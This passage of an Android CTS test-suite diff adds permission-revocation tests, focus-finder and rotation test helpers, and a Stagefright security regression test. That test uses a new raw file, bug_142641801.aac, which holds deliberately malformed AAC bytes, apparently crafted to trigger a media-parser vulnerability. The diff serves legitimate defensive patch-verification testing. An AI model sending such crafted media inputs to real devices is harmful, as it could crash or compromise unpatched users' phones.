+ permission = CAMERA,
+ reason = "test reason",
+ throwableType = SecurityException::class.java,
+ throwableMessage = "has not requested permission")
+ }
+
+ @Test
+ @AppModeFull(reason = "Instant apps can't revoke permissions.")
+ fun testRevokeFakePermissionWithReason() {
+ val fakePermissionName = "FAKE_PERMISSION"
+ testRevoke(
+ packageName = APP_PKG_NAME,
+ permission = fakePermissionName,
+ reason = "test reason",
+ throwableType = java.lang.IllegalArgumentException::class.java,
+ throwableMessage = "Unknown permission: $fakePermissionName")
+ }
+
+ @Test
+ @AppModeFull(reason = "Instant apps can't revoke permissions.")
+ fun testRevokeFakePackageWithReason() {
+ val fakePackageName = "fake.package.name.which.should.not.exist"
+ assertPackageNotInstalled(fakePackageName)
+ testRevoke(
+ packageName = fakePackageName,
+ permission = READ_CALENDAR,
+ reason = "test reason")
+ }
+
+ @After
+ fun uninstallApp() {
+ runShellCommand("pm uninstall $APP_PKG_NAME")
+ }
+
+ private fun testRevoke(
+ packageName: String,
+ permission: String,
+ reason: String? = null,
+ isGranted: Boolean = false,
+ throwableType: Class<*>? = null,
+ throwableMessage: String = ""
+ ) {
+ val context = InstrumentationRegistry.getInstrumentation().targetContext
+ val pm = context.packageManager
+
+ if (isGranted) {
+ assertEquals(PERMISSION_GRANTED, pm.checkPermission(READ_CALENDAR, APP_PKG_NAME))
+ }
+
+ runWithShellPermissionIdentity {
+ if (throwableType == null) {
+ if (reason == null) {
+ pm.revokeRuntimePermission(packageName, permission, Process.myUserHandle())
+ } else {
+ pm.revokeRuntimePermission(packageName, permission, Process.myUserHandle(),
+ reason)
+ }
+ } else {
+ try {
+ if (reason == null) {
+ pm.revokeRuntimePermission(packageName, permission, Process.myUserHandle())
+ } else {
+ pm.revokeRuntimePermission(packageName, permission, Process.myUserHandle(),
+ reason)
+ }
+ } catch (t: Throwable) {
+ if (t::class.java.name == throwableType.name &&
+ t.message!!.contains(throwableMessage)) {
+ return@runWithShellPermissionIdentity
+ }
+ throw RuntimeException("Unexpected throwable", t)
+ }
+ throw RuntimeException("revokeRuntimePermission expected to throw.")
+ }
+ }
+ }
+
+ private fun assertPackageNotInstalled(packageName: String) {
+ val context = InstrumentationRegistry.getInstrumentation().targetContext
+ val pm = context.packageManager
+ try {
+ pm.getPackageInfo(packageName, 0)
+ throw RuntimeException("$packageName exists on this device")
+ } catch (e: PackageManager.NameNotFoundException) {
+ // Expected
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 51d52c4..bb48193 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -117,6 +117,11 @@
for (ExpectedPermissionInfo expectedPermission : expectedPermissions) {
String expectedPermissionName = expectedPermission.name;
if (shouldSkipPermission(expectedPermissionName)) {
+ // This permission doesn't need to exist yet, but will exist in
+ // a future SPL. It is acceptable to declare the permission
+ // even in an earlier SPL, so we remove it here so it doesn't
+ // trigger a failure after the loop.
+ declaredPermissionsMap.remove(expectedPermissionName);
continue;
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 5cd5c4f..3af1b50 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -38,6 +38,7 @@
import org.junit.Before
import org.junit.Rule
import java.util.concurrent.CompletableFuture
+import java.util.regex.Pattern
abstract class BasePermissionTest {
companion object {
@@ -90,9 +91,11 @@
pressHome()
}
- protected fun getPermissionControllerString(res: String): String =
- mPermissionControllerResources.getString(mPermissionControllerResources
- .getIdentifier(res, "string", "com.android.permissioncontroller"))
+ protected fun getPermissionControllerString(res: String): Pattern =
+ Pattern.compile(Pattern.quote(mPermissionControllerResources.getString(
+ mPermissionControllerResources.getIdentifier(
+ res, "string", "com.android.permissioncontroller"))),
+ Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE)
protected fun installPackage(
apkPath: String,
diff --git a/tests/tests/preference/Android.bp b/tests/tests/preference/Android.bp
index 4be4c95..4d99904 100644
--- a/tests/tests/preference/Android.bp
+++ b/tests/tests/preference/Android.bp
@@ -26,6 +26,7 @@
"compatibility-device-util-axt",
"mockito-target-minus-junit4",
"ub-uiautomator",
+ "cts-wm-util",
],
libs: [
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
index ba6182a..29cf672 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
@@ -16,9 +16,12 @@
package android.preference.cts;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
import static org.junit.Assert.assertTrue;
+import android.content.ComponentName;
import android.graphics.Bitmap;
+import android.server.wm.WindowManagerStateHelper;
import androidx.test.filters.LargeTest;
import androidx.test.rule.ActivityTestRule;
@@ -43,6 +46,9 @@
// Helper strings to ensure that some parts of preferences are visible or not.
private static final String LEGACY_SCREEN_TEXT = "Preset Title";
+ static final String TEST_APP_PACKAGE = "android.preference.cts";
+ private static final String TEST_APP_ACTIVITY = TEST_APP_PACKAGE + ".PreferencesFromXml";
+
private TestUtils mTestUtils;
private PreferencesFromXml mActivity;
@@ -74,7 +80,7 @@
Bitmap before = mTestUtils.takeScreenshot();
recreate();
-
+
// Compare screenshots
Bitmap after = mTestUtils.takeScreenshot();
assertScreenshotsAreEqual(before, after);
@@ -83,6 +89,9 @@
private void recreate() {
runOnUiThread(() -> mActivity.recreate());
mTestUtils.waitForIdle();
+ ComponentName testComponentName = new ComponentName(TEST_APP_PACKAGE, TEST_APP_ACTIVITY);
+ waitForActivityState(testComponentName, STATE_RESUMED);
+
}
private void runOnUiThread(final Runnable runnable) {
@@ -101,4 +110,8 @@
assertTrue(mTestUtils.isTextShown(text));
}
+ public void waitForActivityState(ComponentName activityName, String activityState) {
+ new WindowManagerStateHelper().waitForActivityState(activityName, activityState);
+ }
+
}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index 88295eb..5026c0ed 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -89,6 +89,7 @@
Log.d(TAG, "Using volume " + mVolumeName);
mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
mExternalFiles = MediaStore.Files.getContentUri(mVolumeName);
+ mContext.getExternalMediaDirs();
}
@Test
diff --git a/tests/tests/security/res/raw/bug_142641801.aac b/tests/tests/security/res/raw/bug_142641801.aac
new file mode 100644
index 0000000..7c4c755
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_142641801.aac
@@ -0,0 +1 @@
+ÿðÿÿÿÿÿÿÿHÿÿ
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 3720d17..66059d8 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1254,6 +1254,12 @@
***********************************************************/
@Test
+ @SecurityTest(minPatchLevel = "Unknown")
+ public void testStagefright_bug_142641801() throws Exception {
+ doStagefrightTest(R.raw.bug_142641801);
+ }
+
+ @Test
@SecurityTest(minPatchLevel = "2019-09")
public void testStagefright_cve_2019_10534() throws Exception {
doStagefrightTest(R.raw.cve_2019_10534);
@@ -2023,6 +2029,11 @@
} catch (Exception e) {
// local exceptions ignored, not security issues
} finally {
+ try {
+ codec.stop();
+ } catch (Exception e) {
+ // local exceptions ignored, not security issues
+ }
codec.release();
renderTarget.destroy();
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
index 875d665..0c5b3d3 100644
--- a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
@@ -191,6 +191,7 @@
assertEquals(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, conn.getPhoneAccountHandle());
cleanupCalls();
+ assertCtsConnectionServiceUnbound();
CtsConnectionService.tearDown();
setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 174e5dc..344375e 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -174,14 +174,14 @@
android:screenOrientation="portrait"
android:rotationAnimation="jumpcut"
android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
- android:configChanges="orientation|screenSize" />
+ android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize" />
<activity android:name="android.view.cts.PixelCopyWideGamutViewProducerActivity"
android:label="PixelCopyWideGamutViewProducerActivity"
android:screenOrientation="portrait"
android:rotationAnimation="jumpcut"
android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
- android:configChanges="orientation|screenSize"
+ android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"
android:colorMode="wideColorGamut" />
<activity android:name="android.view.cts.PixelCopyViewProducerDialogActivity"
@@ -189,7 +189,7 @@
android:screenOrientation="portrait"
android:rotationAnimation="jumpcut"
android:theme="@android:style/Theme.Material.Dialog.NoActionBar"
- android:configChanges="orientation|screenSize" />
+ android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize" />
<activity android:name="android.view.cts.FocusFinderCtsActivity"
android:screenOrientation="locked"
diff --git a/tests/tests/view/res/layout/focus_finder_layout.xml b/tests/tests/view/res/layout/focus_finder_layout.xml
index 1dea684..4e2726c 100644
--- a/tests/tests/view/res/layout/focus_finder_layout.xml
+++ b/tests/tests/view/res/layout/focus_finder_layout.xml
@@ -46,7 +46,11 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_below="@id/layout">
-
+ <android.view.cts.TestButton
+ android:id="@+id/bottom_button"
+ android:layout_width="60dp"
+ android:layout_height="match_parent"
+ android:text="B" />
</LinearLayout>
</RelativeLayout>
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
index ae0b4bf..300d3a5 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
@@ -25,6 +25,8 @@
public ViewGroup layout;
+ public ViewGroup inflateLayout;
+
public Button topLeftButton;
public Button topRightButton;
@@ -33,15 +35,19 @@
public Button bottomRightButton;
+ public Button bottomButton;
+
@Override
protected void onCreate(Bundle icicle) {
super.onCreate(icicle);
setContentView(R.layout.focus_finder_layout);
layout = (ViewGroup) findViewById(R.id.layout);
+ inflateLayout = (ViewGroup) findViewById(R.id.inflate_layout);
topLeftButton = (Button) findViewById(R.id.top_left_button);
topRightButton = (Button) findViewById(R.id.top_right_button);
bottomLeftButton = (Button) findViewById(R.id.bottom_left_button);
bottomRightButton = (Button) findViewById(R.id.bottom_right_button);
+ bottomButton = (Button) findViewById(R.id.bottom_button);
}
}
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 11e921a..53992ce 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
@@ -44,10 +45,12 @@
public class FocusFinderTest {
private FocusFinder mFocusFinder;
private ViewGroup mLayout;
+ private ViewGroup mInflateLayout;
private Button mTopLeft;
private Button mTopRight;
private Button mBottomLeft;
private Button mBottomRight;
+ private Button mBottom;
@Rule
public ActivityTestRule<FocusFinderCtsActivity> mActivityRule =
@@ -59,14 +62,17 @@
mFocusFinder = FocusFinder.getInstance();
mLayout = activity.layout;
+ mInflateLayout = activity.inflateLayout;
mTopLeft = activity.topLeftButton;
mTopRight = activity.topRightButton;
mBottomLeft = activity.bottomLeftButton;
mBottomRight = activity.bottomRightButton;
+ mBottom = activity.bottomButton;
mTopLeft.setNextFocusLeftId(View.NO_ID);
mTopRight.setNextFocusLeftId(View.NO_ID);
mBottomLeft.setNextFocusLeftId(View.NO_ID);
mBottomRight.setNextFocusLeftId(View.NO_ID);
+ mBottom.setNextFocusLeftId(View.NO_ID);
}
@Test
@@ -456,4 +462,17 @@
view.setRight(right);
view.setBottom(bottom);
}
+
+ @Test
+ public void testFindNextFocusDoesNotReturnItself() {
+ View nextFocus = mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_FORWARD);
+ assertNull(nextFocus);
+ }
+
+ @Test
+ public void testFindPreviousFocusDoesNotReturnItself() {
+ View previousFocus =
+ mFocusFinder.findNextFocus(mInflateLayout, mBottom, View.FOCUS_BACKWARD);
+ assertNull(previousFocus);
+ }
}
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 85c4094..99e4da8 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -42,6 +42,7 @@
import android.view.View;
import android.view.Window;
import android.view.WindowManager;
+import android.view.cts.util.DisableFixToUserRotationRule;
import androidx.test.InstrumentationRegistry;
import androidx.test.filters.LargeTest;
@@ -70,6 +71,10 @@
private static final String TAG = "PixelCopyTests";
@Rule
+ public DisableFixToUserRotationRule mDisableFixToUserRotationRule =
+ new DisableFixToUserRotationRule();
+
+ @Rule
public ActivityTestRule<PixelCopyGLProducerCtsActivity> mGLSurfaceViewActivityRule =
new ActivityTestRule<>(PixelCopyGLProducerCtsActivity.class, false, false);
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 9cab157..8736f36 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -81,7 +81,7 @@
mActivityRule.runOnUiThread(() -> {
View content = activity.findViewById(android.R.id.content);
int[] outLocation = new int[2];
- content.getLocationOnScreen(outLocation);
+ content.getLocationInWindow(outLocation);
center.x = outLocation[0] + (content.getWidth() / 2);
center.y = outLocation[1] + (content.getHeight() / 2);
windowRet[0] = activity.getWindow();
@@ -145,7 +145,7 @@
final Rect viewPos = new Rect();
mActivityRule.runOnUiThread(() -> {
int[] outLocation = new int[2];
- textureView.getLocationOnScreen(outLocation);
+ textureView.getLocationInWindow(outLocation);
viewPos.left = outLocation[0];
viewPos.top = outLocation[1];
viewPos.right = viewPos.left + textureView.getWidth();
@@ -187,7 +187,7 @@
final Rect viewPos = new Rect();
mActivityRule.runOnUiThread(() -> {
int[] outLocation = new int[2];
- textureView.getLocationOnScreen(outLocation);
+ textureView.getLocationInWindow(outLocation);
viewPos.left = outLocation[0];
viewPos.top = outLocation[1];
viewPos.right = viewPos.left + textureView.getWidth();
@@ -343,7 +343,7 @@
final Rect viewPos = new Rect();
mActivityRule.runOnUiThread(() -> {
int[] outLocation = new int[2];
- textureView.getLocationOnScreen(outLocation);
+ textureView.getLocationInWindow(outLocation);
viewPos.left = outLocation[0];
viewPos.top = outLocation[1];
viewPos.right = viewPos.left + textureView.getWidth();
diff --git a/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java b/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
new file mode 100644
index 0000000..43bc27c
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts.util;
+
+import android.app.UiAutomation;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+
+public class DisableFixToUserRotationRule implements TestRule {
+ private static final String TAG = "DisableFixToUserRotationRule";
+ private static final String COMMAND = "cmd window set-fix-to-user-rotation ";
+
+ private final UiAutomation mUiAutomation;
+
+ public DisableFixToUserRotationRule() {
+ mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ executeShellCommandAndPrint(COMMAND + "disabled");
+ try {
+ base.evaluate();
+ } finally {
+ executeShellCommandAndPrint(COMMAND + "default");
+ }
+ }
+ };
+ }
+
+ private void executeShellCommandAndPrint(String cmd) {
+ ParcelFileDescriptor pfd = mUiAutomation.executeShellCommand(cmd);
+ StringBuilder builder = new StringBuilder();
+ char[] buffer = new char[256];
+ int charRead;
+ try (Reader reader =
+ new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd))) {
+ while ((charRead = reader.read(buffer)) > 0) {
+ builder.append(buffer, 0, charRead);
+ }
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+
+ Log.i(TAG, "Command: " + cmd + " Output: " + builder);
+ }
+
+}